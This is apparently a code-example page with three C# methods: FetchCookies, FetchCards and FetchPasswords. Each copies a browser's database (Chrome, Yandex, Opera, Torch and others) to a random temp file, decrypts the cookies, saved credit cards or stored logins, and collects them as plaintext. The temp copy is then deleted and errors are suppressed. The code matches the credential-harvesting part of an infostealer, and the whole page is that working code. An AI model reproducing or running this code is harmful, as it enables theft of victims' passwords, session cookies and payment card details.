Esempio n. 1
0
        private static List <CookieData> FetchCookies(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return((List <CookieData>)null);
            }

            string str1 = "";

            if (basePath.Contains("Chrome"))
            {
                str1 = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str1 = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str1 = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str1 = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str1 = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str1 = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str1 = "Comodo Browser";
            }
            try
            {
                string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(str2))
                {
                    File.Delete(str2);
                }
                File.Copy(basePath, str2, true);
                SqlHandler sqlHandler = new SqlHandler(str2);

                /*if (sqlHandler.GetRowCount() == 65536)
                 *  return (List<CookieData>)null;*/
                List <CookieData> cookieDataList = new List <CookieData>();
                sqlHandler.ReadTable("cookies");
                for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum)
                {
                    try
                    {
                        string empty = string.Empty;

                        try
                        {
                            empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 12)), (byte[])null));
                        }
                        catch (Exception ex)
                        {
                            // // //Console.WriteLine(ex.ToString());
                        }
                        if (empty != "")
                        {
                            cookieDataList.Add(new CookieData()
                            {
                                host_key    = sqlHandler.GetValue(rowNum, 1),
                                name        = sqlHandler.GetValue(rowNum, 2),
                                path        = sqlHandler.GetValue(rowNum, 4),
                                expires_utc = sqlHandler.GetValue(rowNum, 5),
                                secure      = sqlHandler.GetValue(rowNum, 6),
                                value       = empty,
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        // // //Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(str2);
                return(cookieDataList);
            }
            catch (Exception ex)
            {
                // //Console.WriteLine(ex.ToString());
                return((List <CookieData>)null);
            }
        }
Esempio n. 2
0
        private static List <CardData> FetchCards(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return((List <CardData>)null);
            }

            string str1 = "";

            if (basePath.Contains("Chrome"))
            {
                str1 = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str1 = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str1 = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str1 = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str1 = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str1 = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str1 = "Comodo Browser";
            }
            try
            {
                string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(str2))
                {
                    File.Delete(str2);
                }
                File.Copy(basePath, str2, true);
                SqlHandler      sqlHandler   = new SqlHandler(str2);
                List <CardData> cardDataList = new List <CardData>();
                sqlHandler.ReadTable("credit_cards");

                /*
                 * if (sqlHandler.GetRowCount() == 65536)
                 *  return (List<CardData>)null;*/
                for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum)
                {
                    try
                    {
                        string empty = string.Empty;

                        try
                        {
                            empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 4)), (byte[])null));
                        }
                        catch (Exception ex)
                        {
                            // //Console.WriteLine(ex.ToString());
                        }
                        if (empty != "")
                        {
                            cardDataList.Add(new CardData()
                            {
                                Name    = sqlHandler.GetValue(rowNum, 1),
                                Exp_m   = sqlHandler.GetValue(rowNum, 2),
                                Exp_y   = sqlHandler.GetValue(rowNum, 3),
                                Number  = empty,
                                Billing = sqlHandler.GetValue(rowNum, 9)
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        // //Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(str2);
                return(cardDataList);
            }
            catch (Exception ex)
            {
                // //Console.WriteLine(ex.ToString());
                return((List <CardData>)null);
            }
        }
Esempio n. 3
0
        private static List <PassData> FetchPasswords(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return((List <PassData>)null);
            }
            string str1 = "";

            if (basePath.Contains("Chrome"))
            {
                str1 = "Google Chrome";
            }
            if (basePath.Contains("Yandex"))
            {
                str1 = "Yandex Browser";
            }
            if (basePath.Contains("Orbitum"))
            {
                str1 = "Orbitum Browser";
            }
            if (basePath.Contains("Opera"))
            {
                str1 = "Opera Browser";
            }
            if (basePath.Contains("Amigo"))
            {
                str1 = "Amigo Browser";
            }
            if (basePath.Contains("Torch"))
            {
                str1 = "Torch Browser";
            }
            if (basePath.Contains("Comodo"))
            {
                str1 = "Comodo Browser";
            }
            try
            {
                string str2 = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(str2))
                {
                    File.Delete(str2);
                }
                File.Copy(basePath, str2, true);
                SqlHandler      sqlHandler   = new SqlHandler(str2);
                List <PassData> passDataList = new List <PassData>();
                sqlHandler.ReadTable("logins");
                for (int rowNum = 0; rowNum < sqlHandler.GetRowCount(); ++rowNum)
                {
                    try
                    {
                        string empty = string.Empty;
                        try
                        {
                            empty = Encoding.UTF8.GetString(Browsers.DecryptBrowsers(Encoding.Default.GetBytes(sqlHandler.GetValue(rowNum, 5)), (byte[])null));
                        }
                        catch (Exception ex)
                        {
                        }
                        if (empty != "")
                        {
                            passDataList.Add(new PassData()
                            {
                                Url      = sqlHandler.GetValue(rowNum, 1).Replace("https://", "").Replace("http://", ""),
                                Login    = sqlHandler.GetValue(rowNum, 3),
                                Password = empty,
                                Program  = str1
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        // // //Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(str2);
                return(passDataList);
            }
            catch (Exception ex)
            {
                // // //Console.WriteLine(ex.ToString());
                return((List <PassData>)null);
            }
        }